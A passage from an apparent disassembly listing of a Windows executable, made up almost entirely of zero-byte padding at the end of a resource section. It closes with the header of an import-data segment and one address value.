0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 7C801A24h, 